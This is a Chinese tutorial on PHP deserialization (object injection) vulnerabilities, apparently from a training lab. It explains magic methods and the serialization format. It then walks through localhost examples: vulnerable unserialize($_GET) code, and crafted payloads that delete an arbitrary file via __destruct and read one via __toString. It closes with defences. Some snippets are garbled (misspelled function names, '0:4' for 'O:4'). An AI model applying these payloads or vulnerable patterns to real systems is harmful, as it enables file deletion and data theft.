目录
PHP反序列化漏洞
分为4个部分:
1. 什么是反序列化
2. 为什么会产生PHP反序列化漏洞
3. 了解php对象概念以及php对象magic函数的一些简单特性
4. 了解什么是php序列化以及序列化的一些格式
5. 了解php对象注入的成因
6. 常见的注入点以及防范方法
一、什么是反序列化?
简介
PHP反序列化漏洞也叫PHP对象注入,是一常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。
漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果.反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通。
在我们讲PHP反序列化的时候,基本都是围绕着serialize(),unserialize()这两个函数。那么什么是序列化呢,序列化说通俗点就是把一个对象变成可以传输的字符串。举个例子,不知道大家知不知道json格式,这就是一种序列化,有可能就是通过array序列化而来的。而反序列化就是把那串可以传输的字符串再变回对象
参考链接:
http://www.hetianlab.com/expc.do?ce=4b69cfa0-0ee5-4148-9fbc-bb702c6a2617
其它不错的PHP反序列化,文章链接:
1、最通俗易懂的PHP反序列化原理分析
https://www.freebuf.com/articles/web/167721.html
2、由Typecho 深入理解PHP反序列化漏洞
https://www.freebuf.com/column/161798.html
3、Typecho install.php 反序列化导致任意代码执行
https://p0sec.net/index.php/archives/114/
4、HP反序列化漏洞成因及漏洞挖掘技巧与案例
https://www.anquanke.com/post/id/84922
二、为什么会产生这个漏洞?
那么,问题来了,这么序列化一下然后反序列化,为什么就能产生漏洞了呢?
这个时候,我们就要了解一下PHP里面的魔术方法了,魔法函数一般是以__开头,通常会因为某些条件而触发不用我们手动调用:
__construct()当一个对象创建时被调用 __destruct()当一个对象销毁时被调用 __toString()当一个对象被当作一个字符串使用 __sleep() 在对象在被序列化之前运行 __wakeup将在序列化之后立即被调用
这些就是我们要关注的几个魔术方法了,如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞了。
举个别人的例子:
这里我们只要构造payload:
http://127.0.0.1/test.php?test=O:1:”A”:1:{s:4:”test”;s:5:”hello”;}
就能控制echo出的变量,比如你能拿这个来进行反射型xss。
漏洞发现技巧
默认情况下 Composer 会从 Packagist下载包,那么我们可以通过审计这些包来找到可利用的 POP链。
找PHP链的基本思路.
1.在各大流行的包中搜索 __wakeup() 和 __destruct() 函数.
2.追踪调用过程
3.手工构造 并验证 POP 链
4.开发一个应用使用该库和自动加载机制,来测试exploit.
构造exploit的思路
1.寻找可能存在漏洞的应用
2.在他所使用的库中寻找 POP gadgets
3.在虚拟机中安装这些库,将找到的POP链对象序列化,在反序列化测试payload
4.将序列化之后的payload发送到有漏洞web应用中进行测试.
三、了解php对象概念以及php对象的一些简单特性
下面创建一个简单的php对象
-
<?php
-
class TestClass
-
{
-
// 一个变量
-
public $variable =
'This is a string';
-
-
// 一个筒单的方法
-
public
function PrintVariable()
-
{
-
echo
$this->variable;
-
}
-
}
-
-
//创建一个对象
-
$object =
new TestClass();
-
-
//调用一个方法
-
$object->PrintVariable();
-
-
?>
访问http://localhost/test01.php
Php对象中有一些特殊的函数,叫做magic函数,他们在特定条件下执行,比如创建、销毁对象的时候
为了更好的理解magic方法是如何工作的,让我们添加一个magic方法在我们的类中
-
<?php
-
-
class TestClass
-
{
-
// 一个变量
-
public $variable =
'This is a string';
-
-
// 一个简单的方法
-
public
function PrintVariable()
-
{
-
-
echo
$this->variable .
'<br />';
-
}
-
-
// Constructor
-
public
function __construct()
-
{
-
echo
'__construct <br />';
-
-
}
-
-
// Destructor
-
public
function __destruct()
-
{
-
echo
'__destruct <br />';
-
-
}
-
-
//Call
-
public
function __toString()
-
{
-
return
'__toString<br />';
-
-
}}
-
-
//创建一个对象
-
// _construct会被调用
-
$object =
new TestClass();
-
-
//创建一个方法 _
-
// 'This is a string’这玩意会被输出
-
$object->PrintVariable();
-
-
//对象被当作一个字符串
-
// _toString会被调用
-
echo $object;
-
-
// End of PHP script
-
// php脚本要结束了,__destruct会被调用
-
-
?>
访问http://localhost/test02.php
从返回结果看,这几个magic函数依次被调用了
四、了解什么是php序列化以及序列化的一些格式
为什么要有序列化这种机制?
在传递变量的过程中,有可能遇到变量值要跨脚本文件传递的过程。试想,如果一个脚本中想要调用之前一个脚本的变量,但是前一个脚本已经执行完毕,所有的变量和内容释放掉了,我们要如何操作呢?难道要前一个脚本不断的循环,等待后面脚本的调用?这肯定是不现实的。
serialize和unserialize就是解决这一问题的存在,serialize可以将变量转换为字符串,并且在转换中可以保存当前变量的值;而unserialize则可以将serialize生成的字符串变换回变量。
如果你不是很明白,那么就记住,通过反序列化在特定条件下可以重建php对象并执行php对象中某些magic函数
下面通过一个列子查看php对象序列化之后的格式
-
<?php
-
// 某类
-
class User
-
{
-
// 类数据
-
public $age =
0;
-
public $name =
'';
-
-
// 输出数据
-
public
function PrintData()
-
{
-
echo
'User ' .
$this->name .
'is' .
$this->age
-
.
' years old. <br />';
-
}
-
}
-
-
// 创建一个对象
-
$usr =
new User();
-
-
// 设置数据
-
$usr->age =
20;
-
$usr->name =
'John';
-
-
// 输出数据
-
$usr->PrintData();
-
-
// 输出序列化之后的数据
-
echo serialize($usr);
-
?>
访问http://localhost/test03.php
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";} 就是对象user序列化之后的形式
• O表示是对象,4 表示 对象名长度为4,user为对象名
• 2表示有两个参数,{} 里面是参数的key和value
• S 表示是string对象,3 表示长度,age是key
• i 表示是integer对象,20是value
• 对php对象进行反序列化
-
<?php
-
// 某类
-
class User
-
{
-
// Class data
-
public $age =
0;
-
public $name =
'';
-
-
// Print data
-
public
function PrintData()
-
{
-
echo
'User ' .
$this->name .
' is ' .
$this->age .
' years old. <br />';
-
}
-
}
-
-
// 重建对象
-
$usr = unserialize(
'0:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');
-
-
// 调用PrintData输出数据
-
$usr->PrintData();
-
-
?>
访问http://localhost/test04.php
可以看到,成功的进行了反序列化并输出了usr对象的参数age和name的值
五、明白php对象注入的成因
跟serialize和unserialize相关的一些magic函数
在实验任务2中,我们了解到magic函数是php对象的特殊的函数,在某些特殊情况下会被调用。这些特殊情况当然也包含serialize和unserialize。
__sleep magic方法在一个对象被序列化的时候调用。
__wakeup magic方法在一个对象被反序列化的时候调用。
下面我们做一个实验
-
<?php
-
-
class Test
-
{
-
public $variable =
'BUZZ';
-
public $variable2 =
'OTHER';
-
-
public
function PrintVariable()
-
{
-
echo
$this->variable .
'<br />';
-
}
-
-
public
function __construct()
-
{
-
echo
'__construct<br />';
-
}
-
-
public
function __destruct()
-
{
-
echo
'__destruct<br />';
-
}
-
-
public
function __wakeup()
-
{
-
echo
'__wakeup<br />';
-
}
-
-
public
function __sleep()
-
{
-
echo
'__sleep<br />';
-
-
return
array(
'variable',
'variable2');
-
}
-
}
-
-
//创建一个对象,会调用__construct
-
$obj =
new Test();
-
-
//序列化一个对象,会调用__sleep
-
$serialized = serialize($obj);
-
-
//输出序列化后的字符串
-
print
'Serialized: ' . $serialized .
'<br />';
-
-
//重建对象,会调用__wakeup
-
$obj2 = unserialize($serialized);
-
-
//调用PintVariable,会输出数据(BUZZ)
-
$obj2->PrintVariable();
-
-
// php脚本结朿,会调用__destruct
-
?>
访问http://localhost/test05.php
可以看到serialize的时候调用了__sleep,unserialize的时候调用了__wakeup函数,在对象销毁的时候调用了__destruct函数
举个存在漏洞栗子。一个类用于临时将日志储存进某个文件,当__destruct被调用时,日志文件会被删除
-
<?php
-
-
class LogFile
-
{
-
// log文件名
-
public $filename =
'error.log';
-
-
// 某代码,储存日志进文件
-
public
function LogData ($text)
-
{
-
echo
'Log some data:' . $text .
'<br/>';
-
file put contents(
$this->filename, $text, FILE_APPEND);
-
}
-
-
// Destructor删除日志文件
-
public
function destructo
-
{
-
echo
'__destruct deletes " ' .
$this->filename .
' " file. <br/>';
-
unlink(dirname(
__FILE__) .
'/' .
$this->filename);
-
}
-
}
-
?>
调用这个类:
-
<?php
-
-
include
' logfile. php';
-
// ....一些狗日的代码和 LogFile类....
-
//简单的类定义
-
-
class User
-
{
-
//类数据
-
public $age =
0;
-
public $name =
'';
-
-
//输出数据
-
public
function PrintDatao()
-
{
-
echo
'User '.
$this->name .
'is'
$this->age .
' years old. <br />';
-
}
-
}
-
//重建用户输入的数据
-
$usr = unserialize($_GET[
'usr_serialized']);
-
?>
我们看到
$usr = unserialize($_GET['usr_serialized']);
$_GET['usr_serialized']是可控的,那么我们就可以构造输入删除任意文件
构造输入删除目录下的1.php文件
访问http://localhost/1.php
访问http://localhost/exp/test07.php
-
<?php
-
-
include
'../logfile.php';
-
$obj =
new LogFile();
-
$obj->fi1ename =
'1.php';
-
-
echo serialize($obj).
'<br/>';
-
?>
得到序列化之后的字符串O:7:"LogFile":1:{s:8:"filename";s:5:"1.php";}
访问http://localhost/test06.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:5:"1.php";}
得到
再次访问http://localhost/1.php
六、常见的注入点以及防范方法
在三(明白php对象注入的成因)中,展示了由于输入可控造成的__destruct函数删除任意文件,其实问题也可能存在于__wakeup、__sleep、__toString等其他magic函数,一切都是取决于程序逻辑。
打个比方,某用户类定义了一个__toString为了让应用程序能够将类作为一个字符串输出(echo $obj) ,而且其他类也可能定义了一个类允许__toString读取某个文件。
-
<?php
-
//...一些 include...
-
Class Fileclass
-
{
-
//文件名
-
public $filename =
'error.log';
-
-
//当对象被作为一个字符串会读取这个文件
-
public
function __toString()
-
{
-
return file_get_contents(
$this->filename);
-
}
-
}
-
-
// Main User class
-
class User
-
{
-
//Class data
-
public $age =
0;
-
public $name =
'';
-
-
//允许对象作为一个字符串输出上面的data
-
public
function __toString()
-
{
-
return
'User ' .
$this->name .
' is ' .
$this->age .old.
'<br />';
-
}
-
}
-
//用户可控
-
$obj =unserialize($_GET[
'usr_serialized']);
-
-
//输出 __toString
-
echo $obj;
-
?>
获取exp
访问http://localhost/exp/test08.php
触发漏洞,获取1.txt内容
访问http://localhost/test09.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:5:"1.txt";}
防范方法
Unserialize漏洞依赖几个条件
1)unserialize函数的参数可控
2)脚本中存在一个构造函数、析构函数、__wakeup()函数中有向php文件中写数据的操作的类
3)所写的内容需要有对象中的成员变量的值
防范方法有:
1)要严格控制unserialize函数的参数,坚持用户所输入的信息都是不可靠的原则
2)要对于unserialize后的变量内容进行检查,以确定内容没有被污染